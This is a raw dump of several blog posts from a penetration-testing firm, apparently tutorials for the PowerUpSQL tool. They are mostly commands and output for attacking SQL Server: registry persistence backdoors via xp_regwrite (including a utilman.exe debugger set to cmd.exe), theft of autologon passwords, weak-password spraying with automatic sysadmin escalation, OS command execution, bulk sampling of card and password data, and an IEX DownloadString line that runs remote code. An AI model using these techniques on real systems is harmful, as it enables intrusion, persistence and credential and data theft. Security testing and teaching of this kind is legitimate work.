[post_title] => Common Red Team Techniques vs Blue Team Controls Infographic [post_excerpt] => In this blog, I’ll share an infographic that illustrates some common red team attack workflows and blue team controls. I'll also include some basic red & blue team tips. [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => common-red-team-techniques-vs-blue-team-controls-infographic [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:47:42 [post_modified_gmt] => 2021-06-08 21:47:42 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=6761 [menu_order] => 272 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [21] => WP_Post Object ( [ID] => 6728 [post_author] => 17 [post_date] => 2016-08-05 07:00:30 [post_date_gmt] => 2016-08-05 07:00:30 [post_content] => In this blog I’ll show how to use PowerUpSQL to establish persistence (backdoor) via the Windows registry through SQL Server. I’ll also provide a brief overview of the xp_regwrite stored procedure. This should be interesting to pentesters and red teamers interested in some alternative ways to access the OS through SQL Server.

An overview of xp_regwrite

xp_regwrite is an undocumented native extended stored procedure in SQL Server. Since it’s been around since SQL Server 2000 I use the term “undocumented” loosely. It allows logins to create and edit Windows registry keys without having to enable and use xp_cmdshell. The downside (from the attacker’s perspective) is that it can only be executed by a sysadmin. While that restriction usually rules it out as a privilege escalation vector, it is incredibly handy during post exploitation. The registry is integrated into most aspects of the Windows operation. So you’re only limited by your imagination and the SQL Server service account. Similar to other extended stored procedures, xp_regwrite executes with the SQL Server service account’s privileges. So if it can write to the registry as LocalSystem, then so can you. While the sky is the limit, at the end of the day I’m still a pentester at heart. So I thought it would be useful to show how to use xp_regwrite to establish persistence. There are hundreds of registry keys (if not more) that can lead to command execution, but the two examples below seem to be some of the most common.

PowerUpSQL primer

Before we get started, if you would like an overview of PowerUpSQL check out the blog here. Also, if just want to learn how to use PowerUpSQL to discover SQL Servers check out this blog.

Using CurrentVersionRun to establish persistence with xp_regwrite

The example below shows how to use xp_regwrite to add a command to the HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun registry key. The command will be run automatically anytime a user logs into Windows.
---------------------------------------------
-- Use SQL Server xp_regwrite to configure 
-- a file to run via UNC Path when users login
----------------------------------------------
EXEC master..xp_regwrite
@rootkey     = 'HKEY_LOCAL_MACHINE',
@key         = 'SoftwareMicrosoftWindowsCurrentVersionRun',
@value_name  = 'EvilSauce',
@type        = 'REG_SZ',
@value       =  'EvilBoxEvilSandwich.exe '
I wrote that functionality into the PowerUpSQL “Get-SQLPersistRegRun” function to make the task a little easier. The example below shows how to run a simple PowerShell command, but in the real world it would do something evil. This type of persistence is also supported by The Metasploit Framework and PowerShell Empire.
PS C:> Get-SQLPersistRegRun -Verbose -Name PureEvil -Command 'PowerShell.exe -C "Write-Output hacker | Out-File C:tempiamahacker.txt"' -Instance "SQLServer1STANDARDDEV2014"
VERBOSE: SQLServer1STANDARDDEV2014 : Connection Success.
VERBOSE: SQLServer1STANDARDDEV2014 : Attempting to write value: PureEvil
VERBOSE: SQLServer1STANDARDDEV2014 : Attempting to write command: PowerShell.exe -C "Write-Output hacker | Out-File C:tempiamahacker.txt"
VERBOSE: SQLServer1STANDARDDEV2014 : Registry entry written.
VERBOSE: SQLServer1STANDARDDEV2014 : Done.
The example below shows how to run a simple a command from an attacker controlled share via a UNC path similar to the TSQL example.
.Example
PS C:> Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command "EvilBoxEvilSandwich.exe" -Instance "SQLServer1STANDARDDEV2014"
VERBOSE: SQLServer1STANDARDDEV2014 : Connection Success.
VERBOSE: SQLServer1STANDARDDEV2014 : Attempting to write value: EvilSauce
VERBOSE: SQLServer1STANDARDDEV2014 : Attempting to write command: "EvilBoxEvilSandwich.exe
VERBOSE: SQLServer1STANDARDDEV2014 : Registry entry written.
VERBOSE: SQLServer1STANDARDDEV2014 : Done.

Setting a debugger for accessibility options using xp_regwrite

This is a cool persistence method, because no user interaction is required to execute commands on the system. Which I prefer of course. :) The example below shows how to configure a debugger for utilman.exe, which will run cmd.exe when it’s called. That includes when you’re at the log in screen. After it’s been executed, it’s possible to RDP to the system and launch cmd.exe with the windows key+u key combination.
EXEC master..xp_regwrite
@rootkey     = 'HKEY_LOCAL_MACHINE',
@key         = 'SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsutilman.exe',
@value_name  = 'Debugger',
@type        = 'REG_SZ',
@value       = '"c:windowssystem32cmd.exe"'
Note:If network level authentication is enabled you won’t have enough access to see the logon screen and you may have to consider other options for command execution. Of course, that's just another registry setting. ;) I’ve written a PowerUpSQL function for this too, called “Get-SQLPersistRegDebugger”. Below is the utilman.exe example.
PS C:> Get-SQLPersistRegDebugger-Verbose -FileName utilman.exe -Command 'c:windowssystem32cmd.exe' -Instance "SQLServer1STANDARDDEV2014"
VERBOSE: SQLServer1STANDARDDEV2014 : Connection Success.
VERBOSE: SQLServer1STANDARDDEV2014 : Attempting to write debugger for: utilman.exe
VERBOSE: SQLServer1STANDARDDEV2014 : Attempting to write command: c:windowssystem32cmd.exe
VERBOSE: SQLServer1STANDARDDEV2014 : Registry entry written.
VERBOSE: SQLServer1STANDARDDEV2014 : Done.

Wrap Up

Even though the xp_regwrite extended stored procedure is only executable by sysadmins, it’s still incredibly handy during post exploitation. To illustrate that point I created two PowerUpSQL functions to establish persistence in Windows through SQL Server using xp_regwrite. Hopefully this has been useful and will get you thinking about other things xp_regwrite can do for you. Good luck and hack responsibly!

References

[post_title] => Establishing Registry Persistence via SQL Server with PowerUpSQL [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => establishing-registry-persistence-via-sql-server-powerupsql [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:47:39 [post_modified_gmt] => 2021-06-08 21:47:39 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=6728 [menu_order] => 273 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [22] => WP_Post Object ( [ID] => 6707 [post_author] => 17 [post_date] => 2016-08-04 07:00:04 [post_date_gmt] => 2016-08-04 07:00:04 [post_content] => In this blog I’ll show how to use PowerUpSQL to dump Windows auto login passwords through SQL Server. I’ll also talk about other ways the xp_regread stored procedure can be used during pentests.

A brief history of xp_regread

The xp_regread extended stored procedure has been around since SQL Server 2000. The original version allowed members of the Public server role to access pretty much anything the SQL Server service account had privileges to. At the time, it had a pretty big impact, because it was common for SQL Servers to run as LocalSystem. Since SQL Server 2000 SP4 was released, the impact of the xp_regread has been pretty minimal due to a few access controls that were added that help prevent low privileged logins from accessing sensitive registry locations. Now days, the only registry locations accessible to unprivileged users are related to SQL Server. For a list of those locations you can visit https://support.microsoft.com/en-us/kb/887165 Below are a few of the more interesting accessible paths: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Search HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQLServer HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Messaging Subsystem HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\SQLServer HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ExtensionAgents HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SQLServer HKEY_CURRENT_USER\Software\Microsoft\Mail HKEY_CURRENT_USER\Control Panel\International

Practical uses for xp_regread with the Public Role

Even with our hands tied, xp_regread can be used to grab a lot of useful information. In fact, when logged in as least privilege login, I often use it to grab server information that I couldn’t get anywhere else. For example, the Get-SQLServerInfo function in PowerUpSQL includes some of those queries.
PS C:\> Get-SQLServerInfo
ComputerName           : SQLServer1
Instance               : SQLServer1
DomainName             : demo.local
ServiceName            : MSSQLSERVER
ServiceAccount         : NT Service\MSSQLSERVER
AuthenticationMode     : Windows and SQL Server Authentication
Clustered              : No
SQLServerVersionNumber : 12.0.4213.0
SQLServerMajorVersion  : 2014
SQLServerEdition       : Developer Edition (64-bit)
SQLServerServicePack   : SP1
OSArchitecture         : X64
OsMachineType          : WinNT
OSVersionName          : Windows 8.1 Pro
OsVersionNumber        : 6.3
Currentlogin           : demo\user
IsSysadmin             : Yes
ActiveSessions         : 3
The access control restrictions implemented in SQL Server SP4 do not apply to sysadmins. As a result, anything the SQL Server service account can access in the registry, a sysadmin can access via xp_regread. At first glance this may not seem like a big deal, but it does allow us to pull sensitive data from the registry without having to enable xp_cmdshell, which can trigger a lot of alarms when it’s enabled and used. So xp_regread actually ends up being handy for basic SQL Server post exploitation tasks.

Recovering Windows Auto Login Credentials with xp_regread

It’s possible to configure Windows to automatically login when the computer is started. While this is not a common configuration in corporate environments, it’s something we see frequently in retail environments. Especially those that support legacy POS terminals and kiosks with SQL Servers running locally. In most cases, when Windows is configured to login automatically, unencrypted credentials are stored in the registry key: HKEY_LOCAL_MACHINE SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Using that information we can write a basic TSQL script that uses xp_regread to pull the auto login credentials out of the registry for us without having to enable xp_cmdshell. Below is an example TSQL script, but since the registry paths aren't on the allowed list we have to run the query as a sysadmin:
-------------------------------------------------------------------------
-- Get Windows Auto Login Credentials from the Registry
-------------------------------------------------------------------------

-- Get AutoLogin Default Domain
DECLARE @AutoLoginDomain  SYSNAME
EXECUTE master.dbo.xp_regread
@rootkey        = N'HKEY_LOCAL_MACHINE',
@key            = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',
@value_name        = N'DefaultDomainName',
@value            = @AutoLoginDomain output

-- Get AutoLogin DefaultUsername
DECLARE @AutoLoginUser  SYSNAME
EXECUTE master.dbo.xp_regread
@rootkey        = N'HKEY_LOCAL_MACHINE',
@key            = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',
@value_name        = N'DefaultUserName',
@value            = @AutoLoginUser output

-- Get AutoLogin DefaultUsername
DECLARE @AutoLoginPassword  SYSNAME
EXECUTE master.dbo.xp_regread
@rootkey        = N'HKEY_LOCAL_MACHINE',
@key            = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',
@value_name        = N'DefaultPassword',
@value            = @AutoLoginPassword output 

-- Display Results
SELECT @AutoLoginDomain, @AutoLoginUser, @AutoLoginPassword
I’ve also created a PowerUpSQL function called “Get-SQLRecoverPwAutoLogon” so you could run it on scale. It will recover the default Windows auto login information and the alternative Windows auto login information if it has been set. Then it returns the associated domain name, user name, and password. Below is a command example for those who are interested. If you're interest in learning about blindy targeting SQL Server you can peek at this blog.
PS C:\> $Accessible = Get-SQLInstanceDomain –Verbose | Get-SQLConnectionTestThreaded –Verbose -Threads 15| Where-Object {$_.Status –eq “Accessible”}
PS C:\> $Accessible | Get-SQLRecoverPwAutoLogon -Verbose
VERBOSE: SQLServer1.demo.local\Instance1 : Connection Success.
VERBOSE: SQLServer2.demo.local\Application : Connection Success.
VERBOSE: SQLServer2.demo.local\Application : This function requires sysadmin privileges. Done.
VERBOSE: SQLServer3.demo.local\2014 : Connection Success.
VERBOSE: SQLServer3.demo.local\2014 : This function requires sysadmin privileges. Done.

ComputerName : SQLServer1
Instance     : SQLServer1\Instance1
Domain       : demo.local
UserName     : KioskAdmin
Password     : test

ComputerName : SQLServer1
Instance     : SQLServer1\Instance1
Domain       : demo.local
UserName     : kioskuser
Password     : KioskUserPassword!

Wrap Up

Even though the xp_regread extended stored procedure has been partially neutered, there are still a number of ways that it can prove useful during penetration tests and red team engagements. Hopefully you’ll have some fun with the “Get-SQLServerInfo”, “Get-SQLRecoverPwAutoLogon” functions that build off of its capabilities. More registry fun to come. In the meantime, good luck and hack responsibly!

References

[post_title] => Get Windows Auto Login Passwords via SQL Server with PowerUpSQL [post_excerpt] => In this blog I’ll show how to use PowerUpSQL to dump Windows auto login passwords through SQL Server via xp_regread. [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => get-windows-auto-login-passwords-via-sql-server-powerupsql [to_ping] => [pinged] => [post_modified] => 2021-04-13 00:05:19 [post_modified_gmt] => 2021-04-13 00:05:19 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=6707 [menu_order] => 274 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [23] => WP_Post Object ( [ID] => 6534 [post_author] => 17 [post_date] => 2016-08-02 07:00:47 [post_date_gmt] => 2016-08-02 07:00:47 [post_content] => In this blog, I’ll show how to use PowerUpSQL to quickly identify SQL logins configured with weak passwords on domain SQL Servers, using a standard domain account. We’ve used the techniques described below to obtain access to sensitive data and elevate privileges on SQL Servers. In many cases, the identified weak passwords also lead to domain privilege escalation via sysadmin access. Hopefully this blog will be interesting to pentesters, red teamers, and administrators looking for another tool for auditing their SQL Servers for weak configurations.

Finding Domain SQL Servers to Log Into

I touched on how to do this in another blog, so I’ve only provided a summary of the PowerUpSQL commands below. For more information on how to discover accessible SQL Servers check out https://blog.netspi.com/blindly-discover-sql-server-instances-powerupsql/.
  1. Download PowerUpSQL. https://github.com/NetSPI/PowerUpSQL
  2. Import the Module
    PS C:\> Import-Module PowerUpSQL.psd1
  3. Get a list of accessible SQL Servers on the domain.
    PS C:\> $Servers = Get-SQLInstanceDomain –Verbose | Get-SQLConnectionTestThreaded –Verbose -Threads 10
  4. View accessible servers
    PS C:\> $Accessible = $Servers | Where-Object {$_.Status –eq “Accessible”}
    PS C:\> $Accessible
    
    ComputerName   Instance                       Status    
    ------------   --------                       ------    
    SQLServer1     SQLServer1\SQLEXPRESS          Accessible
    SQLServer1     SQLServer1\STANDARDDEV2014     Accessible
    SQLServer1     SQLServer1                     Accessible

Enumerating SQL Logins as a Domain User

By default, non-sysadmin logins in SQL Server don’t have privileges to select a list of SQL logins from the standard tables. However, functions exist in SQL Server that allow least privilege logins to do it anyways using basic fuzzing techniques. That means any user that can log into SQL Server can get a full user list. For the details check out this blog. The PowerUpSQL “Invoke-SQLAuditWeakLoginPw” function can be used to automatically fuzz login names and attempt to identify weak passwords. By default, the function will only test the login as the password, and “password” as the password. So only two passwords will be attempted for each enumerated login. However, custom user and password lists can be provided. At first glance this doesn’t seem like a big deal. However, in large environments this simple attack has been yielding hundreds of weak passwords on accessible SQL Servers using normal domain user accounts.

Identifying Weak SQL Server Passwords on Scale using PowerUpSQL

Below are a few examples showing how to use the “Invoke-SQLAuditWeakLoginPw” function with the accessible SQL Server list we obtained in the last section. Note: All of the examples shown are run as the current Windows user, but alternative SQL Server login credentials can be provided.
PS C:\>; $Accessible | Invoke-SQLAuditWeakLoginPw –Verbose

ComputerName  : SQLServer1
Instance      : SQLServer1\EXPRESS
Vulnerability : Weak Login Password
Description   : One or more SQL Server logins is configured with a weak password.  This may provide unauthorized access to resources the affected logins have access to.
Remediation   : Ensure all SQL Server logins are required to use a strong password. Considered inheriting the OS password policy.
Severity      : High
IsVulnerable  : Yes
IsExploitable : Yes
 Exploited     : No
ExploitCmd    : Use the affected credentials to log into the SQL Server, or rerun this command with -Exploit.
Details       : The testuser (Not Sysadmin) is configured with the password testuser.
Reference     : https://msdn.microsoft.com/en-us/library/ms161959.aspx
Author        : Scott Sutherland (@_nullbind), NetSPI 2016

ComputerName  : SQLServer1
Instance      : SQLServer1\Express
Vulnerability : Weak Login Password
Description   : One or more SQL Server logins is configured with a weak password.  This may provide unauthorized access to resources the affected logins have access to.
Remediation   : Ensure all SQL Server logins are required to use a strong password. Considered inheriting the OS password policy.
Severity      : High
IsVulnerable  : Yes
IsExploitable : Yes
Exploited     : No
ExploitCmd    : Use the affected credentials to log into the SQL Server, or rerun this command with -Exploit.
Details       : The testadmin (Sysadmin) is configured with the password testadmin.
Reference     : https://msdn.microsoft.com/en-us/library/ms161959.aspx
Author        : Scott Sutherland (@_nullbind), NetSPI 2016
The function also supports automatically adding your current login to the sysadmin fixed server role if a sysadmin password is guessed by the script. Below is an example.
PS C:\> Invoke-SQLAuditWeakLoginPw –Verbose –Instance server\instance –Exploit

..[snip]..

ComputerName  : SQLServer1
Instance      : SQLServer1\Express
Vulnerability : Weak Login Password
Description   : One or more SQL Server logins is configured with a weak password.  This may provide unauthorized access to resources the affected logins have access to.
Remediation   : Ensure all SQL Server logins are required to use a strong password. Considered inheriting the OS password policy.
Severity      : High
IsVulnerable  : Yes
IsExploitable : Yes
Exploited     : Yes
ExploitCmd    : Use the affected credentials to log into the SQL Server, or rerun this command with -Exploit.
Details       : The testadmin (Sysadmin) is configured with the password testadmin.
Reference     : https://msdn.microsoft.com/en-us/library/ms161959.aspx
Author        : Scott Sutherland (@_nullbind), NetSPI 2016

..[snip]..

Or you could attempt to add yourself as a sysadmin on all accessible servers...
PS C:\> $Accessible | Invoke-SQLAuditWeakLoginPw –Verbose –Exploit

Executing OS Commands on SQL Servers with PowerUpSQL

If you were able to escalate privileges using the commands from the previous section then you’re ready to execute OS commands on the SQL Server. The local and domain privileges you’ll have will vary depending on the SQL Server service account being used. It’s very common to see a single domain account being used to run a large portion of the SQL Servers in the environment. However, it’s also very common for SQL Servers to be configured to run as LocalSystem or a managed service account. Below is the PowerUpSQL example showing how to execute OS commands on affected SQL Servers:
PS C:\> Invoke-SQLOSCmd –Verbose –Instance SQLServer1\Express –Command “dir c:\windows\system32\Drivers\etc” –RawResults

VERBOSE: Creating runspace pool and session states
VERBOSE: SQLSERVER1\EXPRESS: Connection Success.
VERBOSE: SQLSERVER1\EXPRESS: You are a sysadmin.
VERBOSE: SQLSERVER1\EXPRESS: Show Advanced Options is already enabled.
VERBOSE: SQLSERVER1\EXPRESS: xp_cmdshell is already enabled.
VERBOSE: SQLSERVER1\EXPRESS: Running command: dir c:\windows\system32\Drivers\etc
 Volume in drive C is OSDisk
 Volume Serial Number is C044-F8BC
 Directory of c:\windows\system32\Drivers\etc
07/16/2016  08:42 PM    <DIR>          .
07/16/2016  08:42 PM    <DIR>          ..
09/22/2015  10:16 AM               851 hosts
08/22/2013  10:35 AM             3,683 lmhosts.sam
08/22/2013  08:25 AM               407 networks
08/22/2013  08:25 AM             1,358 protocol
08/22/2013  08:25 AM            17,463 services
               5 File(s)         23,762 bytes
               2 Dir(s)  142,140,887,040 bytes free
VERBOSE: Closing the runspace pool
Or if you would like to run commands on multiple servers you can use the example below.
PS C:\>$Accessible | Invoke-SQLOSCmd –Verbose –Command “whoami” –Threads 10

ComputerName   Instance                       CommandResults              
------------   --------                       --------------                   
SQLServer1     SQLServer1\SQLEXPRESS          nt service\mssql$sqlexpress 
SQLServer1     SQLServer1\STANDARDDEV2014     nt authority\system         
SQLServer1     SQLServer1                     Domain\SQLSvc

Wrap Up

In this blog, I provided an overview of how to use the PowerUpSQL function "Invoke-SQLAuditWeakLoginPw" to quickly identify SQL Server logins configured with weak passwords on ADS domains. While the function doesn't offer any new techniques, it does provide more automation than the scripts I've provided in the past. As a result, it has potential to provide unauthorized data access and additional domain privileges in most large environments. It's also worth noting that the "Invoke-SQLEscalatePriv" function attempts to exploit this issue along with others when it's run. Good luck and hack responsibility! [post_title] => Finding Weak Passwords for Domain SQL Servers on Scale using PowerUpSQL [post_excerpt] => We'll cover how to use PowerUpSQL to quickly identify SQL logins configured with weak passwords on domain SQL Servers using a standard domain account. [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => identifying-domain-sql-servers-configured-with-weak-passwords-on-scale-using-powerupsql [to_ping] => [pinged] => [post_modified] => 2021-04-13 00:05:47 [post_modified_gmt] => 2021-04-13 00:05:47 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=6534 [menu_order] => 275 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [24] => WP_Post Object ( [ID] => 6565 [post_author] => 17 [post_date] => 2016-08-02 07:00:25 [post_date_gmt] => 2016-08-02 07:00:25 [post_content] => In this blog I’ll show how PowerUpSQL can be used to rapidly target and sample sensitive data stored in SQL Server databases associated with Active Directory domains. We’ve used the techniques below to discover millions of PCI, HIPAA, and other sensitive records living inside and outside of protected network zones. Hopefully PowerUpSQL can help you do the same.

Finding Domain SQL Servers to Log Into

I touched on how to do this in another blog so I’ve only provided a summary of the PowerUpSQL commands below. For more information on how to discover accessible SQL Servers check out https://blog.netspi.com/blindly-discover-sql-server-instances-powerupsql/.
  1. Download PowerUpSQL.https://github.com/NetSPI/PowerUpSQL
  2. Import the Module
    PS C:\> Import-Module PowerUpSQL.psd1
  3. Get a list of accessible SQL Servers on the domain.
    PS C:\> $Servers = Get-SQLInstanceDomain –Verbose | Get-SQLConnectionTestThreaded –Verbose -Threads 10
  4. View accessible servers
    PS C:\> $Accessible = $Servers | Where-Object {$_.Status –eq “Accessible”}
    PS C:\> $Accessible
    
    ComputerName   Instance                       Status    
    ------------   --------                       ------    
    SQLServer1     SQLServer1\SQLEXPRESS          Accessible
    SQLServer1     SQLServer1\STANDARDDEV2014     Accessible
    SQLServer1     SQLServer1                     Accessible
Pro tip: Once you've obtained Domain Admin privileges, add yourself to the DBA groups and run through the process again. More access = more data. :)

Finding Sensitive Data on Domain SQL Servers

If you followed the instructions in the last section you should have a variable named "$Accessible" that contains a list of all accessible SQL Server instances. The command below uses that variable to perform a broad search across all accessible SQL Servers for database table column names that contain provided keywords. I've created an example showing one server, but in real environments there are often hundreds.
PS C:\> $Accessible | Get-SQLColumnSampleDataThreaded –Verbose –Threads 10 –Keyword “card, password” –SampleSize 2 –ValidateCC -NoDefaults | ft -AutoSize

...[SNIP]...

VERBOSE: SQLServer1\STANDARDDEV2014 : START SEARCH DATA BY COLUMN
VERBOSE: SQLServer1\STANDARDDEV2014 : CONNECTION SUCCESS
VERBOSE: SQLServer1\STANDARDDEV2014 : - Searching for column names that match criteria...
VERBOSE: SQLServer1\STANDARDDEV2014 : - Column match: [testdb].[dbo].[tracking].[card]
VERBOSE: SQLServer1\STANDARDDEV2014 : - Selecting 2 rows of data sample from column [testdb].[dbo].[tracking].[card].
VERBOSE: SQLServer1\STANDARDDEV2014 : COMPLETED SEARCH DATA BY COLUMN

...[SNIP]...

ComputerName   Instance                   Database Schema Table    Column Sample           RowCount IsCC
------------   --------                   -------- ------ -----    ------ ------           -------- ----
SQLServer1     SQLServer1\STANDARDDEV2014 testdb   dbo    tracking card   4111111111111111 2        True
SQLServer1     SQLServer1\STANDARDDEV2014 testdb   dbo    tracking card   41111111111ASDFD 2        False

...[SNIP]...
Below is a breakdown of what the command does:
  • It runs 10 concurrent host threads at a time
  • It searches accessible domain SQL Servers for database table columns containing the keywords “card” or “password”
  • It grabs a two sample records from each matching column
  • It checks if the sample data contains a credit card number using the Luhn formula
  • It filters out all default databases
If you want to target a single server you can also use the command below.
Get-SQLColumnSampleData –Verbose –Keyword “card, password” –SampleSize 2 –ValidateCC -NoDefaults  –Instance “Server1\Instance1”

Targeting Potentially Sensitive Databases

To save time in larger environments you may want to be a little more picky about what servers you're targeting during data searches. Especially if you’re searching for multiple keywords. Dumping a list of databases and their properties can give you the information you need to make better server targeting decisions. Some key pieces of information include:
  • Database Name This is the most intuitive. Databases are often named after the associated application or the type of data they contain.
  • is_encrypted Flag This tells us if transparent encryption is used. People tend to encrypt things they want to protect so these databases make good targets. ;) Transparent encryption is intended to protect data at rest, but if we login as a sysadmin, SQL Server will do the work of decrypting it for us. A big thanks goes out to James Houston for sharing that trend with us.
  • Database File Size The database file size can help you determine if the database is actually being used. The bigger the database, the more data to sample. :)
To dump a list of all accessible SQL Server databases you can use the command below. Once again, we'll use the "$Accessible" variable we created earlier. Storing the accessible servers in a variable allows us to quickly execute different PowerUpSQL functions against those servers without having to run the discovery commands again. Note: The example only shows a sample of the output for one record, but in most environments you would have a lot more.
PS C:\> $Databases = $Accessible | Get-SQLDatabaseThreaded –Verbose –Threads 10 -NoDefaults
PS C:\> $Databases

...[SNIP]...

ComputerName        : SQLServer1
Instance            : SQLServer1\STANDARDDEV2014
DatabaseId          : 7
DatabaseName        : testdb
DatabaseOwner       : sa
OwnerIsSysadmin     : 1
is_trustworthy_on   : True
is_db_chaining_on   : False
is_broker_enabled   : True
is_encrypted        : True
is_read_only        : False
create_date         : 4/13/2016 4:27:36 PM
recovery_model_desc : FULL
FileName            : C:\Program Files\Microsoft SQL Server\MSSQL12.STANDARDDEV2014\MSSQL\DATA\testdb.mdf
DbSizeMb            : 3.19
has_dbaccess        : 1

...[SNIP]...
Once the results are stored in the "$Databases" variable there a ton of ways to view the data. Below are some of the more common options. In the examples, the results are sorted by the database name alphabetically.
# Output results to display
$Databases | Sort-Object DatabaseName

# Output results to display in table format
$Databases | Sort-Object DatabaseName | Format-Table -AutoSize

# Output results to pop grid with search functionality
$Databases | Sort-Object DatabaseName | Out-GridView

# Output results to a csv file
$Databases | Sort-Object DatabaseName | Export-Csv -NoTypeInformation  C:\temp\databases.csv
If you're only interested in encrypted databases you can use the command below.
$Databases | Where-Object {$_.is_encrypted –eq “TRUE”}
The "$Databases" output can also be piped directly into the Get-SQLColumnSampleDataThreaded command as shown below.
$Databases | Where-Object {$_.is_encrypted –eq “TRUE”} |Get-SQLColumnSampleDataThreaded –Verbose –Threads 10 –Keyword “card, password” –SampleSize 2 –ValidateCC -NoDefaults
Of course, some people are not fans of multi step commands...

Bringing it All Together

If you prefer to fully automate your data sampling experience everything can be executed as a single command. Below is an example:
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded –Verbose –Threads 10 –Keyword “credit,ssn,password” –SampleSize 2 –ValidateCC –NoDefaults |
Export-CSV –NoTypeInformation c:\temp\datasample.csv

Wrap Up

In this blog I showed how sensitive data could be targeted and quickly sampled from domain SQL Servers using PowerUpSQL. I also noted that databases that use transparent encryption tend to make good targets for review. Hopefully the scripts will save you as much time as they’ve saved us. Either way, good luck and hack responsibly! [post_title] => Finding Sensitive Data on Domain SQL Servers using PowerUpSQL [post_excerpt] => In this blog I’ll show how PowerUpSQL can be used to rapidly target and sample sensitive data stored in SQL Server databases associated with Active Directory domains. [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => finding-sensitive-data-domain-sql-servers-using-powerupsql [to_ping] => [pinged] => [post_modified] => 2021-04-13 00:05:43 [post_modified_gmt] => 2021-04-13 00:05:43 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=6565 [menu_order] => 276 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [25] => WP_Post Object ( [ID] => 6640 [post_author] => 17 [post_date] => 2016-08-01 07:00:20 [post_date_gmt] => 2016-08-01 07:00:20 [post_content] => In this blog I’ll show how PowerUpSQL can be used to blindly discover SQL Server instances on a system, network, or domain. This is an essential first step if you’re planning to search for sensitive data on SQL Servers, or plan to use SQL Servers as a means to escalate privileges on the domain.

Importing PowerUpSQL

Before we get started, you’ll have to get the PowerUpSQL module imported. Below are some basic instructions. For more options visit the GitHub project here.
  1. Download PowerUpSQL.https://github.com/NetSPI/PowerUpSQL
  2. Import the Module
    PS C:\> Import-Module PowerUpSQL.psd1
Alternatively, you can load it with the PowerShell command below.
PS C:\> IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1")

Discover SQL Server Instances with PowerUpSQL

Below is an overview of the PowerUpSQL discovery functions that can be used for enumerating SQL Server instances from different attacker perspectives. Each of them support the PowerShell pipeline so that they can be used with other PowerUpSQL functions.

Get-SQLInstanceLocal

This command should be used if you’ve already compromised a system and would like a list of the local SQL Server instances. It uses the local registry entries to find them. Below are a few example commands.
# Get a list of local SQL Server instances
PS C:\>Get-SQLInstanceLocal    

ComputerName       : SQLServer1
Instance           : SQLServer1\SQLEXPRESS
ServiceDisplayName : SQL Server (SQLEXPRESS)
ServiceName        : MSSQL$SQLEXPRESS
ServicePath        : "C:\Program Files\Microsoft SQL Server\MSSQL12.SQLEXPRESS\MSSQL\Binn\sqlservr.exe" -sSQLEXPRESS
ServiceAccount     : NT Service\MSSQL$SQLEXPRESS
State              : Running

For more instance information pipe the Get-SQLInstanceLocal into Get-SQLServerInfo:
# Get a list of server information for each local instance
PS C:\>Get-SQLInstanceLocal | Get-SQLServerInfo

ComputerName           : SQLServer1
Instance               : SQLServer1\SQLEXPRESS
DomainName             : NETSPI
ServiceName            : MSSQL$SQLEXPRESS
ServiceAccount         : NT Service\MSSQL$SQLEXPRESS
AuthenticationMode     : Windows and SQL Server Authentication
Clustered              : No
SQLServerVersionNumber : 12.0.4213.0
SQLServerMajorVersion  : 2014
SQLServerEdition       : Express Edition (64-bit)
SQLServerServicePack   : SP1
OSArchitecture         : X64
OsMachineType          : WinNT
OSVersionName          : Windows 8.1 Pro
OsVersionNumber        : 6.3
Currentlogin           : Domain\User
IsSysadmin             : Yes
ActiveSessions         : 1

Get-SQLInstanceScanUDP

If you’re starting from an unauthenticated local network position then this function can come in handy. It returns SQL Server instances on the network from a UDP scan. It accepts a piped list of computer names or IP addresses. The example below shows how to run the UDP scan and display output to the console:
PS C:\>Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10 

ComputerName : SQLServer1
Instance     : SQLServer1\SQLEXPRESS
InstanceName : SQLEXPRESS
ServerIP     : 10.1.1.12
TCPPort      : 50213
BaseVersion  : 12.0.4100.1
IsClustered  : No

ComputerName : SQLServer1
Instance     : SQLServer1\Standard
InstanceName : Standard
ServerIP     : 10.1.1.12
TCPPort      : 50261
BaseVersion  : 12.0.4100.1
IsClustered  : No

ComputerName : SQLServer2
Instance     : SQLServer2\AppName
InstanceName : AppName
ServerIP     : 10.1.1.150
TCPPort      : 58979
BaseVersion  : 10.50.4000.0
